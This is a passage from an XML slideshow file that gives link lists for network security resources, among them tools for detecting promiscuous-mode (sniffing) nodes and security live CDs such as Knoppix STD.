				<li><a href="http://www.egocrew.de/download.html">http://www.egocrew.de/download.html</a></li>
			</ul>
			
			Promiscuous Node Detection
			<ul>
			<li> <a href="http://www.wiretapped.net/indexes/network-monitoring.html">Wiretapped Security Software</a></li>
			<li><a href="http://www.csh.rit.edu/~jubei/boxfinder/index.txt">boxfinder</a></li>
			</ul>

			Security LiveCDs:
			<ul>
			<li><a href="http://www.frozentech.com/content/livecd.php">http://www.frozentech.com/content/livecd.php</a></li>
			<li><a href="http://www.knoppix-std.org/tools.html">Knoppix STD</a></li>
			</ul>

		</body>
	</slide>
</slideshow>
